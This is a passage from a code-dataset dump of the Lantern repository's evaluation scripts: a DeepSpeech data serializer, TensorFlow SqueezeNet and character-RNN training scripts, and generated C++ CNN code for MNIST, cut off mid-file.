struct.Struct(struct_head_fmt).unpack_from\n struct_batch_head_fmt = struct_head_fmt\n struct_batch_head_len = struct.calcsize(struct_batch_head_fmt)\n struct_batch_head_unpack = struct.Struct(struct_batch_head_fmt).unpack_from\n # inputs, input_percentages, target_sizes\n struct_batch_fmt_format1 = '@{}f{}f{}i'\n # targets\n struct_batch_fmt_format2 = '@{}i'\n\n with open(filename, 'rb') as f:\n data = f.read(struct_head_len)\n if not data:\n print(\"failure in loading head\\n\")\n raise\n batch_size, num_batches = struct_head_unpack(data)\n print('batch_size = {}, num_batches = {}'.format(batch_size, num_batches))\n\n start_iter = 0\n for i, (origin_data) in enumerate(data_loader, start=start_iter):\n if i == len(data_loader):\n break\n ori_inputs, ori_targets, ori_input_percentages, ori_target_sizes = origin_data\n print('spectrogram shape = ', ori_inputs.size())\n # get next batch\n data = f.read(struct_batch_head_len)\n if not data:\n print(\"failure in loading batch head\\n\")\n raise\n\n freq_size, max_seqlength = struct_batch_head_unpack(data)\n print(freq_size, max_seqlength)\n input_size = batch_size * 1 * freq_size * max_seqlength\n struct_batch_fmt1 = struct_batch_fmt_format1.format(input_size, batch_size, batch_size)\n struct_batch_fmt1_len = struct.calcsize(struct_batch_fmt1)\n\n # print(struct_batch_fmt1, struct_batch_fmt1_len, '\\n')\n struct_batch_fmt1_unpack = struct.Struct(struct_batch_fmt1).unpack_from\n\n data = f.read(struct_batch_fmt1_len)\n if not data:\n print(\"failure in loading batch part1\\n\")\n raise\n\n # print(len(data), struct_batch_fmt1_len)\n unpacked_data = struct_batch_fmt1_unpack(data)\n inputs = list(unpacked_data[:input_size])\n input_percentages = list(unpacked_data[input_size: input_size+batch_size])\n target_sizes = list(unpacked_data[input_size+batch_size: input_size+2*batch_size])\n\n # print(target_sizes, '\\n')\n # it works\n inputs_tensor = torch.tensor(\n np.ndarray((batch_size, 1, freq_size, max_seqlength), buffer=np.asarray(inputs)),\n dtype=torch.float)\n\n input_percentages_tensor = torch.tensor(\n np.ndarray((batch_size), buffer=np.asarray(input_percentages)),\n dtype=torch.float)\n\n\n target_sizes_tensor = torch.tensor(\n np.ndarray((batch_size), buffer=np.asarray(target_sizes), dtype=np.int),\n dtype=torch.int)\n # print(np.ndarray((batch_size), buffer=np.asarray(target_sizes), dtype=np.int))\n # print(type(inputs_tensor), type(ori_inputs), '\\n')\n # print(inputs_tensor.size(), ori_inputs.size(), '\\n')\n # print(ori_input_percentages[0].eq(torch.Tensor([input_percentages[0]])))\n # print(ori_input_percentages[0].eq(input_percentages_tensor[0]))\n print(inputs_tensor, ori_inputs)\n print(torch.eq(inputs_tensor, ori_inputs))\n # print(torch.eq(input_percentages_tensor, ori_input_percentages))\n # print(input_percentages_tensor, ori_input_percentages)\n assert inputs_tensor.equal(ori_inputs), \"inputs not equal\"\n assert input_percentages_tensor.equal(ori_input_percentages), \"input_percentage not equal\"\n # print(target_sizes_tensor, ori_target_sizes)\n assert target_sizes_tensor.equal(ori_target_sizes), \"target_sizes not equal\"\n\n target_size = sum(target_sizes)\n struct_batch_fmt2 = struct_batch_fmt_format2.format(target_size)\n struct_batch_fmt2_len = struct.calcsize(struct_batch_fmt2)\n struct_batch_fmt2_unpack = struct.Struct(struct_batch_fmt2).unpack_from\n\n data = f.read(struct_batch_fmt2_len)\n # print(len(data), struct_batch_fmt1_len)\n if not data:\n print(\"failure in loading batch part2\\n\")\n raise\n targets = list(struct_batch_fmt2_unpack(data))\n targets_tensor = torch.tensor(\n np.ndarray((target_size), buffer=np.asarray(targets), dtype=np.int),\n dtype=torch.int\n )\n assert targets_tensor.equal(ori_targets), \"targets not equal\"\n\ndef write_dataset_to_pickle_file(filename, data_loader):\n start_iter = 0\n data_loader_length = min(len(data_loader), 200)\n data_list = []\n data_dict = {b'numBatches': data_loader_length-start_iter, b'batchSize': params.batch_size, b'batchedData': data_list}\n\n for i, (data) in enumerate(data_loader, start=start_iter):\n if i == data_loader_length:\n break\n inputs, targets, input_percentages, target_sizes = data\n\n data_list.append((\n inputs[0][0].size(0),\n inputs[0][0].size(1),\n inputs.numpy(),\n input_percentages.numpy(),\n target_sizes.numpy(),\n targets.numpy()))\n\n with open(filename, 'wb') as f:\n pickle.dump(data_dict, f)\n\ndef read_dataset_from_pickle_file(filename):\n with open(filename, 'rb') as f:\n data = pickle.load(f)\n print(data)\n \ndef main():\n WRITE_DATASET = True\n VERIFY_DATASET = True\n parser = argparse.ArgumentParser(description='DeepSpeech data preprocessing')\n args = parser.parse_args()\n print(\"=======================================================\")\n for arg in vars(args):\n print(\"***%s = %s \" % (arg.ljust(25), getattr(args, arg)))\n print(\"=======================================================\")\n\n save_folder = './test/'\n \n try:\n os.makedirs(save_folder)\n except:\n pass\n\n for dataset_name in ['val', 'test', 'train']:\n filename = save_folder + 'deepspeech_{}.bin'.format(dataset_name)\n manifest = {'train': params.train_manifest, 'val': params.val_manifest, 'test': params.test_manifest}\n manifest_filepath = manifest[dataset_name]\n if manifest_filepath is None:\n raise\n print(manifest_filepath)\n\n with open(params.labels_path) as label_file:\n labels = str(''.join(json.load(label_file)))\n audio_conf = dict(sample_rate=params.sample_rate,\n window_size=params.window_size,\n window_stride=params.window_stride,\n window=params.window,\n noise_dir=params.noise_dir,\n noise_prob=params.noise_prob,\n noise_levels=(params.noise_min, params.noise_max))\n dataset = SpectrogramDataset(audio_conf=audio_conf, manifest_filepath=manifest_filepath,\n labels=labels, normalize=True, augment=params.augment)\n loader = AudioDataLoader(dataset, batch_size=params.batch_size,\n num_workers=1, drop_last=True)\n\n\n write_dataset_to_bin_file(filename, data_loader=loader)\n# read_dataset_from_bin_file(filename)\n\nif __name__ == '__main__':\n main()\n\n" }, { "alpha_fraction": 0.6423546075820923, "alphanum_fraction": 0.659943699836731, "avg_line_length": 42.958763122558594, "blob_id": "f635d0b016633584ea614d5420586e3f129b0e37", "content_id": "28fba99f5dbf1b91b371973128efe4eeca43e3b0", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4264, "license_type": "permissive", "max_line_length": 135, "num_lines": 97, "path": "/src/out/PLDI19evaluation/squeezenet/tfrecord_tensorflow/train.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport inputs\nimport inputsB\nimport squeezenet\nimport time\nimport tensorflow as tf\nimport statistics\n\ndef train(args):\n print(\"run tensorflow squeezenet\")\n startTime = time.time()\n # x = tf.placeholder(tf.float32, shape = (args.batch_size, 3, 32, 32))\n # y = tf.placeholder(tf.int32, shape = (args.batch_size))\n batch = inputsB.Batch(args.input_file, args.batch_size)\n\n gpu_config = tf.GPUOptions(per_process_gpu_memory_fraction=.8)\n config = tf.ConfigProto(allow_soft_placement=True, gpu_options=gpu_config)\n config.graph_options.optimizer_options.global_jit_level = tf.OptimizerOptions.ON_1\n with tf.Session(config=config) as sess:\n pipeline = inputs.Pipeline(args, sess)\n examples, labels = pipeline.data\n images = examples['image']\n print(\"image is of shape {}\".format(images.shape))\n logits = squeezenet.Squeezenet_CIFAR(args).build(images, is_training = True)\n with tf.name_scope('loss'):\n cross_entropy = tf.losses.sparse_softmax_cross_entropy(labels=labels, logits=logits)\n cross_entropy = tf.reduce_mean(cross_entropy)\n\n with tf.name_scope('optimizer'):\n train_step = tf.train.GradientDescentOptimizer(args.lr).minimize(cross_entropy)\n\n sess.run(tf.global_variables_initializer())\n loopStart = time.time()\n loss_save = []\n time_save = []\n for epoch in range(args.epochs):\n train_accuracy = 0.0\n start = time.time()\n for i in range(batch.total_size // batch.batch_size):\n _, loss = sess.run([train_step, cross_entropy], pipeline.training_data)\n train_accuracy += loss\n if (i + 1) % (batch.total_size // batch.batch_size // 10) == 0:\n print('epoch %d: step %d, training loss %f' % (epoch + 1, i + 1, train_accuracy / (i * 100)))\n stop = time.time()\n time_save.append(stop - start)\n average_loss = train_accuracy / (60000 / args.batch_size)\n print('Training completed in {}ms ({}ms/image), with average loss {}'.format((stop - start), (stop - start)/60000, average_loss))\n loss_save.append(average_loss)\n sess.run(pipeline.training_iterator.initializer)\n\n loopEnd = time.time()\n prepareTime = loopStart - startTime\n loopTime = loopEnd - loopStart\n timePerEpoch = loopTime / args.epochs\n\n time_save.sort()\n median_time = time_save[int (args.epochs / 2)]\n\n with open(args.write_to, \"w\") as f:\n f.write(\"unit: \" + \"1 epoch\\n\")\n for loss in loss_save:\n f.write(str(loss) + \"\\n\")\n f.write(\"run time: \" + str(prepareTime) + \" \" + str(median_time) + \"\\n\")\n\nif __name__ == '__main__':\n # Training settings\n parser = argparse.ArgumentParser(description='TensorFlow cifar10 Example')\n parser.add_argument('--batch-size', type=int, default=64, metavar='N',\n help='input batch size for training (default: 64)')\n parser.add_argument('--test-batch-size', type=int, default=64, metavar='N',\n help='input batch size for testing (default: 1000)')\n parser.add_argument('--epochs', type=int, default=4, metavar='N',\n help='number of epochs to train (default: 4)')\n parser.add_argument('--lr', type=float, default=0.05, metavar='LR',\n help='learning rate (default: 0.05)')\n parser.add_argument('--momentum', type=float, default=0.0, metavar='M',\n help='SGD momentum (default: 0.5)')\n parser.add_argument('--seed', type=int, default=42, metavar='S',\n help='random seed (default: 1)')\n parser.add_argument('--input_file', type=str,\n default='../../cifar10_data/cifar-10-batches-py/data_batch_1',\n help='Directory for storing input data')\n parser.add_argument('--write_to', type=str,\n default='result_TensorFlow',\n help='Directory for saving runtime performance')\n parser.add_argument('--batch_norm_decay', type=float, default=0.9)\n parser.add_argument('--weight_decay', type=float, default=0.0,\n help='''L2 regularization factor for convolution layer weights.\n 0.0 indicates no regularization.''')\n parser.add_argument('--train_tfrecord_filepaths', type=str, default='../../cifar10_data/train.tfrecords')\n args = parser.parse_args()\n\n train(args)\n" }, { "alpha_fraction": 0.6365930438041687, "alphanum_fraction": 0.652996838092804, "avg_line_length": 34.629215240478516, "blob_id": "7481f7b813cb7cb1e230790c67806433186b0517", "content_id": "5f6f7dbd7c204db9154555dd7506621cbc454cc0", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3170, "license_type": "permissive", "max_line_length": 155, "num_lines": 89, "path": "/src/out/NIPS18evaluation/evaluationRNN/min-char-rnn-tf.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "# Python\n\"\"\"\nAdopted from the word-level language model(TensorFlow/tutorial/rnn/ptb).\nMinimal character-level Vanilla RNN model. Written by Xilun Wu.\n\"\"\"\nimport numpy as np\nimport tensorflow as tf\nimport time\n\ndef run(write_to):\n # read file\n start = time.time()\n data = open('graham.txt', 'r').read() # should be simple plain text file\n chars = list(set(data))\n data_size, vocab_size = len(data), len(chars)\n print('data has %d characters, %d unique.' % (data_size, vocab_size))\n char_to_ix = { ch:i for i,ch in enumerate(chars) }\n ix_to_char = { i:ch for i,ch in enumerate(chars) }\n\n # hyper-parameters\n hidden_size = 50 # size of hidden layer of neurons\n seq_length = 20 # number of steps to unroll the RNN for\n learning_rate = 1e-1\n num_iters = 5000\n iter_step = 100\n batch_size = 20\n\n # build model\n batchX_placeholder = tf.placeholder(tf.int32, [seq_length, batch_size])\n batchY_placeholder = tf.placeholder(tf.int32, [seq_length, batch_size])\n init_state = tf.placeholder(tf.float32, [batch_size, hidden_size])\n\n W2 = tf.Variable(np.random.randn(hidden_size, vocab_size) * 0.01, dtype=tf.float32)\n b2 = tf.Variable(np.zeros((1,vocab_size)), dtype=tf.float32)\n\n outputs, _ = tf.nn.dynamic_rnn(tf.contrib.rnn.BasicRNNCell(hidden_size), tf.one_hot(batchX_placeholder, vocab_size), time_major=True, dtype = tf.float32)\n outputs = tf.reshape(outputs, [-1, hidden_size])\n Y = tf.reshape(batchY_placeholder, [-1])\n loss = tf.nn.sparse_softmax_cross_entropy_with_logits(logits = (tf.matmul(outputs, W2) + b2), labels = Y)\n total_loss = tf.reduce_sum(loss)\n\n # training steps\n train_step = tf.train.AdagradOptimizer(learning_rate).minimize(total_loss)\n\n end = time.time()\n prepareTime = end - start\n\n loss_save = []\n\n start = time.time()\n session_conf = tf.ConfigProto(\n intra_op_parallelism_threads=1,\n inter_op_parallelism_threads=1)\n with tf.Session(config=session_conf) as sess:\n sess.run(tf.global_variables_initializer())\n p = -seq_length * batch_size\n for epoch_idx in range(num_iters + 1):\n p += seq_length * batch_size\n if p + seq_length*batch_size + 1 >= len(data) or epoch_idx == 0:\n p = 0 # go from start of data\n\n inputs = np.transpose(np.array([char_to_ix[ch] for ch in data[p:p+seq_length*batch_size]]).reshape((batch_size, seq_length)))\n targets = np.transpose(np.array([char_to_ix[ch] for ch in data[p+1:p+seq_length*batch_size+1]]).reshape((batch_size, seq_length)))\n\n _total_loss, _train_step = sess.run([total_loss, train_step],\n feed_dict={\n batchX_placeholder:inputs,\n batchY_placeholder:targets,\n })\n\n if epoch_idx % iter_step == 0:\n print(\"Step\",epoch_idx, \"Loss\", _total_loss)\n loss_save.append(_total_loss)\n\n end = time.time()\n loopTime = end - start\n\n with open(write_to, \"w\") as f:\n f.write(\"unit: \" + \"100 iteration\\n\")\n for loss in loss_save:\n f.write(str(loss) + \"\\n\")\n f.write(\"run time: \" + str(prepareTime) + \" \" + str(loopTime) + \"\\n\")\n\nif __name__ == '__main__':\n import sys\n if (len(sys.argv) != 2):\n print(\"should have a file to write results to\")\n exit(0)\n run(sys.argv[1])" }, { "alpha_fraction": 0.35382279753685, "alphanum_fraction": 0.629940927028656, "avg_line_length": 21.98215675354004, "blob_id": "3783f98970fa966a480c58ed7bd6923318d660f2", "content_id": "28db40faff45162875b4c22526852e8c293432c6", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 29625, "license_type": "permissive", "max_line_length": 114, "num_lines": 1289, "path": "/src/out/NIPS18evaluation/evaluationCNN/Lantern/Lantern.cpp", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#include <assert.h>\n#include <err.h>\n#include <errno.h>\n#include <fcntl.h>\n#include <functional>\n#include <math.h>\n#include <memory>\n#include <random>\n#include <stdint.h>\n#include <stdio.h>\n#include <sys/mman.h>\n#include <sys/stat.h>\n#include <sys/time.h>\n#include <time.h>\n#include <unistd.h>\n#include <cblas.h>\n#include <algorithm>\n#include <numeric>\n\nusing namespace std;\n#ifndef MAP_FILE\n#define MAP_FILE MAP_SHARED\n#endif\n\nlong fsize(int fd) {\n struct stat stat;\n int res = fstat(fd, &stat);\n return stat.st_size;\n}\n\nint printll(char *s) {\n while (*s != '\\n' && *s != ',' && *s != '\\t') {\n putchar(*s++);\n }\n return 0;\n}\n\nlong hash(char *str0, int len) {\n unsigned char *str = (unsigned char *)str0;\n unsigned long hash = 5381;\n int c;\n\n while ((c = *str++) && len--)\n hash = ((hash << 5) + hash) + c; /* hash * 33 + c */\n\n return hash;\n}\n\nlong HEAP_SIZE_CPU = 1073741826; // 1048576; // 536870912; // 268435456; // 2097152; 1610612739; // 4294967304; //\nvoid *mallocBase = calloc(HEAP_SIZE_CPU, 1);\nvoid *mallocAddr = mallocBase;\nvoid *waterMark = mallocBase;\nvoid *myMalloc(size_t bytes) {\n void *res = mallocAddr;\n mallocAddr = (void *)((char *)mallocAddr + bytes);\n if ((long)mallocAddr >= (long)mallocBase + HEAP_SIZE_CPU)\n fprintf(stderr, \"CPU memory breached limit of HEAP_SIZE_CPU\\n\");\n return res;\n}\n\nlong HEAP_SIZE = 8589934608; // 4294967304; // this is for GPU\n\nint timeval_subtract(struct timeval *result, struct timeval *t2, struct timeval *t1) {\n long int diff = (t2->tv_usec + 1000000 * t2->tv_sec) - (t1->tv_usec + 1000000 * t1->tv_sec);\n result->tv_sec = diff / 1000000;\n result->tv_usec = diff % 1000000;\n return (diff < 0);\n}\n\n\n\nvoid Snippet(char *);\n\nstd::random_device rd{};\nstd::mt19937 gen{rd()};\nstd::normal_distribution<> d{0, 0.01};\n\nint main(int argc, char *argv[]) {\n if (argc != 2) {\n printf(\"usage: query <filename>\\n\");\n return 0;\n }\n Snippet(argv[1]);\n return 0;\n}\n\n/*****************************************\n Emitting C Generated Code \n*******************************************/\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdbool.h>\nvoid Snippet(char* x0) {\n// Backend setup.\nsrand(42);\nstruct timeval begin_0, end_0, diff_0;\ngettimeofday(&begin_0, NULL);\nfloat* x6 = (float*)myMalloc(250 * sizeof(float));;\nfor(int x8=0; x8 < 250; x8++) {\nfloat x9 = (float)rand()/RAND_MAX;\nfloat x10 = x9 - 0.5f;\nfloat x11 = x10 * 0.9797959f;\nx6[x8] = x11;\n\n}\nfloat* x15 = (float*)myMalloc(250 * sizeof(float));;\nfloat* x16 = (float*)myMalloc(10 * sizeof(float));;\nfloat* x17 = (float*)myMalloc(10 * sizeof(float));;\nfloat* x18 = (float*)myMalloc(5000 * sizeof(float));;\nfor(int x20=0; x20 < 5000; x20++) {\nfloat x21 = (float)rand()/RAND_MAX;\nfloat x22 = x21 - 0.5f;\nfloat x23 = x22 * 0.30983868f;\nx18[x20] = x23;\n\n}\nfloat* x27 = (float*)myMalloc(5000 * sizeof(float));;\nfloat* x28 = (float*)myMalloc(20 * sizeof(float));;\nfloat* x29 = (float*)myMalloc(20 * sizeof(float));;\nfloat* x30 = (float*)myMalloc(16000 * sizeof(float));;\nfor(int x32=0; x32 < 16000; x32++) {\nfloat x33 = (float)rand()/RAND_MAX;\nfloat x34 = x33 - 0.5f;\nfloat x35 = x34 * 0.0559017f;\nx30[x32] = x35;\n\n}\nfloat* x39 = (float*)myMalloc(16000 * sizeof(float));;\nfloat* x40 = (float*)myMalloc(50 * sizeof(float));;\nfloat* x41 = (float*)myMalloc(50 * sizeof(float));;\nfloat* x42 = (float*)myMalloc(500 * sizeof(float));;\nfor(int x44=0; x44 < 500; x44++) {\nfloat x45 = (float)rand()/RAND_MAX;\nfloat x46 = x45 - 0.5f;\nfloat x47 = x46 * 0.14142136f;\nx42[x44] = x47;\n\n}\nfloat* x51 = (float*)myMalloc(500 * sizeof(float));;\nfloat* x52 = (float*)myMalloc(10 * sizeof(float));;\nfloat* x53 = (float*)myMalloc(10 * sizeof(float));;\nint64_t* x54 = (int64_t*)myMalloc(2 * sizeof(int64_t));;\nint64_t* x55 = (int64_t*)myMalloc(2 * sizeof(int64_t));;\nint32_t x66 = 0;\nint32_t x67 = x66;\nint32_t x68 = x67;\nint32_t x61 = open(\"../data/bin/mnist_train_target.bin\",0);\nint64_t x62 = fsize(x61);\nint32_t x64 = (int32_t)x62;\nint32_t x65 = x64 / 4;\nint* x63 = (int*)mmap(0, x62, PROT_READ | PROT_WRITE, MAP_FILE | MAP_PRIVATE, x61, 0);\nint32_t x56 = open(\"../data/bin/mnist_train.bin\",0);\nint64_t x57 = fsize(x56);\nfloat* x58 = (float*)mmap(0, x57, PROT_READ | PROT_WRITE, MAP_FILE | MAP_PRIVATE, x56, 0);\nfor(int x70=0; x70 < x65; x70++) {\nint32_t x71 = x68;\nint32_t x73 = x63[x70];\nfloat* x72 = x58+x71;\nfor(int x75=0; x75 < 784; x75++) {\nfloat x76 = x72[x75];\nfloat x77 = x76 - 0.1307f;\nfloat x78 = x77 / 0.3081f;\nx72[x75] = x78;\n\n}\nx68 += 784;\n\n}\nint32_t x85 = x68;\nint64_t x59 = x57 / 4LL;\nint32_t x60 = (int32_t)x59;\nbool x86 = x85 == x60;\nif (x86) {\n} else {\nprintf(\"Data length doesn't match\\n\\n\");\nassert(false && \"\");\n}\ngettimeofday(&end_0, NULL);\ntimeval_subtract(&diff_0, &end_0, &begin_0);;\nint64_t x94 = ((diff_0.tv_sec * 1000000L) + (diff_0.tv_usec));\nfloat x95 = (float)x94;\nfloat x96 = x95 / 1000000.0f;\nprintf(\"Data normalized (all prepare time) in %lf sec\\n\",x96);\ndouble* x98 = (double*)myMalloc(4 * sizeof(double));;\nint64_t x99 = (long)mallocAddr;\n// training loop starts here\nint32_t x116 = x65 / 100;\nint32_t x129 = 23 / 1;\nint32_t x130 = x129 + 1;\nint32_t x134 = 1000 * x130;\nint32_t x135 = x134 * x130;\nint32_t x131 = x130 * x130;\nint32_t x156 = 2500 * x131;\nint32_t x132 = 10 * x131;\nint32_t x154 = 25 * x131;\nint32_t x133 = 100 * x132;\nbool x217 = x130 >= 2;\nbool x218;\nif (x217) {\nx218 = x217;\n} else {\nx218 = false;\n}\nint32_t x223 = x130 - 2;\nint32_t x224 = x223 / 2;\nint32_t x225 = x224 + 1;\nint32_t x229 = 1000 * x225;\nint32_t x230 = x229 * x225;\nint32_t x226 = x225 * x225;\nint32_t x227 = 10 * x226;\nint32_t x228 = 100 * x227;\nint32_t x316 = 2 * x130;\nint32_t x327 = x225 - 5;\nint32_t x328 = x327 / 1;\nint32_t x329 = x328 + 1;\nint32_t x333 = 2000 * x329;\nint32_t x334 = x333 * x329;\nint32_t x330 = x329 * x329;\nint32_t x354 = 25000 * x330;\nint32_t x331 = 20 * x330;\nint32_t x352 = 250 * x330;\nint32_t x332 = 100 * x331;\nbool x414 = x329 >= 2;\nbool x415;\nif (x414) {\nx415 = x414;\n} else {\nx415 = false;\n}\nint32_t x420 = x329 - 2;\nint32_t x421 = x420 / 2;\nint32_t x422 = x421 + 1;\nint32_t x426 = 2000 * x422;\nint32_t x427 = x426 * x422;\nint32_t x423 = x422 * x422;\nint32_t x424 = 20 * x423;\nint32_t x425 = 100 * x424;\nint32_t x513 = 2 * x329;\nint32_t x1126 = x65 / 10;\ndouble x1131 = (double)x65;\nint64_t x1151 = (int64_t)x65;\nfloat x1155 = (float)x65;\nfor(int x102=0; x102 < 4; x102++) {\nstruct timeval begin_1, end_1, diff_1;\nint32_t x104 = 0;\nint32_t x105 = x104;\nint32_t x106 = x105;\nfloat x107 = 0.0f;\nfloat x108 = x107;\nfloat x109 = x108;\nint32_t x110 = x102 + 1;\nprintf(\"Start training epoch %d\\n\",x110);\ngettimeofday(&begin_1, NULL);\nint32_t x113 = 0;\nint32_t x114 = x113;\nint32_t x115 = x114;\nfor(int x118=0; x118 < x116; x118++) {\nint32_t x119 = x115;\nx106 += 100;\nfloat* x124 = (float*)myMalloc(2 * sizeof(float));;\nfloat* x125 = (float*)myMalloc(4 * sizeof(float));;\nfloat* x126 = (float*)myMalloc(4 * sizeof(float));;\n// allocate memory to save the final loss in CPU Tensor\nfloat* x128 = (float*)myMalloc(1 * sizeof(float));;\nfloat* x136 = (float*)myMalloc(x135 * sizeof(float));;\nint32_t x137 = 0;\nfor(int x139=0; x139 < 100; x139++) {\nfor(int x141=0; x141 < 10; x141++) {\nfor(int x143=0; x143 < x131; x143++) {\nint32_t x144 = x137;\nfloat x145 = x16[x141];\nx136[x144] = x145;\nx137 += 1;\n\n}\n\n}\n\n}\nfloat* x157 = (float*)myMalloc(x156 * sizeof(float));;\nfloat* x120 = x58+x119;\nfor(int x158=0; x158 < 100; x158++) {\nint32_t x161 = x158 * x132;\nfloat* x162 = x136+x161;\nint32_t x163 = x158 * x154;\nfloat* x164 = x157+x163;\nint32_t x159 = x158 * 784;\nfloat* x160 = x120+x159;\nfor(int x166=0; x166 < 25; x166++) {\nint32_t x167 = x166 / 25;\nint32_t x171 = x167 * 5;\nint32_t x172 = x171 * 5;\nint32_t x173 = x172 * x130;\nint32_t x174 = x173 * x130;\nint32_t x168 = x166 % 25;\nint32_t x169 = x168 / 5;\nint32_t x175 = x169 * 5;\nint32_t x176 = x175 * x130;\nint32_t x177 = x176 * x130;\nint32_t x178 = x174 + x177;\nint32_t x170 = x168 % 5;\nint32_t x179 = x170 * x130;\nint32_t x180 = x179 * x130;\nint32_t x181 = x178 + x180;\nfloat* x182 = x164+x181;\nint32_t x183 = x167 * 28;\nint32_t x184 = x183 * 28;\nfloat* x185 = x160+x184;\nfor(int x187=0; x187 < x130; x187++) {\nint32_t x189 = x187 * x130;\nfloat* x190 = x182+x189;\nint32_t x188 = x187 + x169;\nint32_t x191 = x188 * 28;\nint32_t x192 = x191 + x170;\nfloat* x193 = x185+x192;\nmemcpy(x190, x193, 4 * x130);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 10,x131,25,1,x6,25,x164,x131,1,x162,x131);\n\n}\nfloat* x202 = (float*)myMalloc(x135 * sizeof(float));;\nfloat* x203 = (float*)myMalloc(x133 * sizeof(float));;\nfor(int x205=0; x205 < x133; x205++) {\nfloat x206 = x136[x205];\nbool x207 = x206 < 0.0f;\nif (x207) {\nx203[x205] = 0.0f;\n} else {\nfloat x210 = x136[x205];\nx203[x205] = x210;\n}\n\n}\nfloat* x216 = (float*)myMalloc(x135 * sizeof(float));;\nif (x218) {\n} else {\nassert(false && \"Image too small for maxPool_k: x Const(100) x Const(10) x Sym(130) x Sym(130)|(2,2)\");\n}\nfloat* x231 = (float*)myMalloc(x230 * sizeof(float));;\nfor(int x233=0; x233 < x230; x233++) {\nx231[x233] = -3.4028235E38f;\n\n}\nint* x237 = (int32_t*)myMalloc(x228 * sizeof(int32_t));;\nfor(int x238=0; x238 < 100; x238++) {\nint32_t x239 = x238 * x132;\nfloat* x240 = x203+x239;\nint32_t x241 = x238 * x227;\nfloat* x242 = x231+x241;\nint* x243 = x237+x241;\nint32_t x244 = 0;\nint32_t x245 = 0;\nfor(int x246=0; x246 < 10; x246++) {\nint32_t x247 = x244;\nint32_t x248 = x247;\nint32_t x249 = x245;\nint32_t x250 = x249;\nfor(int x252=0; x252 < x225; x252++) {\nint32_t x253 = x248;\nint32_t x254 = x253;\nint32_t x255 = x250;\nint32_t x256 = x255;\nfor(int x257=0; x257 < x225; x257++) {\nint32_t x258 = x256;\nint32_t x259 = x258;\nint32_t x260 = x259;\nint32_t x261 = x260;\nint32_t x262 = x261;\nfloat x263 = x240[x262];\nint32_t x264 = x254;\nfloat x265 = x242[x264];\nbool x266 = x263 > x265;\nif (x266) {\nfloat x267 = x240[x262];\nx242[x264] = x267;\nint32_t x269 = x262 + x239;\nx243[x264] = x269;\n} else {\n}\nx261 += 1;\nint32_t x274 = x261;\nfloat x275 = x240[x274];\nfloat x276 = x242[x264];\nbool x277 = x275 > x276;\nif (x277) {\nfloat x278 = x240[x274];\nx242[x264] = x278;\nint32_t x280 = x274 + x239;\nx243[x264] = x280;\n} else {\n}\nx261 += 1;\nx259 += x130;\nint32_t x286 = x259;\nint32_t x287 = x286;\nint32_t x288 = x287;\nfloat x289 = x240[x288];\nfloat x290 = x242[x264];\nbool x291 = x289 > x290;\nif (x291) {\nfloat x292 = x240[x288];\nx242[x264] = x292;\nint32_t x294 = x288 + x239;\nx243[x264] = x294;\n} else {\n}\nx287 += 1;\nint32_t x299 = x287;\nfloat x300 = x240[x299];\nfloat x301 = x242[x264];\nbool x302 = x300 > x301;\nif (x302) {\nfloat x303 = x240[x299];\nx242[x264] = x303;\nint32_t x305 = x299 + x239;\nx243[x264] = x305;\n} else {\n}\nx287 += 1;\nx259 += x130;\nx254 += 1;\nx256 += 2;\n\n}\nx248 += x225;\nx250 += x316;\n\n}\nx244 += x226;\nx245 += x131;\n\n}\n\n}\nfloat* x326 = (float*)myMalloc(x230 * sizeof(float));;\nfloat* x335 = (float*)myMalloc(x334 * sizeof(float));;\nint32_t x336 = 0;\nfor(int x337=0; x337 < 100; x337++) {\nfor(int x339=0; x339 < 20; x339++) {\nfor(int x341=0; x341 < x330; x341++) {\nint32_t x342 = x336;\nfloat x343 = x28[x339];\nx335[x342] = x343;\nx336 += 1;\n\n}\n\n}\n\n}\nfloat* x355 = (float*)myMalloc(x354 * sizeof(float));;\nfor(int x356=0; x356 < 100; x356++) {\nint32_t x357 = x356 * x227;\nfloat* x358 = x231+x357;\nint32_t x359 = x356 * x331;\nfloat* x360 = x335+x359;\nint32_t x361 = x356 * x352;\nfloat* x362 = x355+x361;\nfor(int x363=0; x363 < 250; x363++) {\nint32_t x364 = x363 / 25;\nint32_t x368 = x364 * 5;\nint32_t x369 = x368 * 5;\nint32_t x370 = x369 * x329;\nint32_t x371 = x370 * x329;\nint32_t x365 = x363 % 25;\nint32_t x366 = x365 / 5;\nint32_t x372 = x366 * 5;\nint32_t x373 = x372 * x329;\nint32_t x374 = x373 * x329;\nint32_t x375 = x371 + x374;\nint32_t x367 = x365 % 5;\nint32_t x376 = x367 * x329;\nint32_t x377 = x376 * x329;\nint32_t x378 = x375 + x377;\nfloat* x379 = x362+x378;\nint32_t x380 = x364 * x225;\nint32_t x381 = x380 * x225;\nfloat* x382 = x358+x381;\nfor(int x384=0; x384 < x329; x384++) {\nint32_t x386 = x384 * x329;\nfloat* x387 = x379+x386;\nint32_t x385 = x384 + x366;\nint32_t x388 = x385 * x225;\nint32_t x389 = x388 + x367;\nfloat* x390 = x382+x389;\nmemcpy(x387, x390, 4 * x329);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,x330,250,1,x18,250,x362,x330,1,x360,x330);\n\n}\nfloat* x399 = (float*)myMalloc(x334 * sizeof(float));;\nfloat* x400 = (float*)myMalloc(x332 * sizeof(float));;\nfor(int x402=0; x402 < x332; x402++) {\nfloat x403 = x335[x402];\nbool x404 = x403 < 0.0f;\nif (x404) {\nx400[x402] = 0.0f;\n} else {\nfloat x407 = x335[x402];\nx400[x402] = x407;\n}\n\n}\nfloat* x413 = (float*)myMalloc(x334 * sizeof(float));;\nif (x415) {\n} else {\nassert(false && \"Image too small for maxPool_k: x Const(100) x Const(20) x Sym(329) x Sym(329)|(2,2)\");\n}\nfloat* x428 = (float*)myMalloc(x427 * sizeof(float));;\nfor(int x430=0; x430 < x427; x430++) {\nx428[x430] = 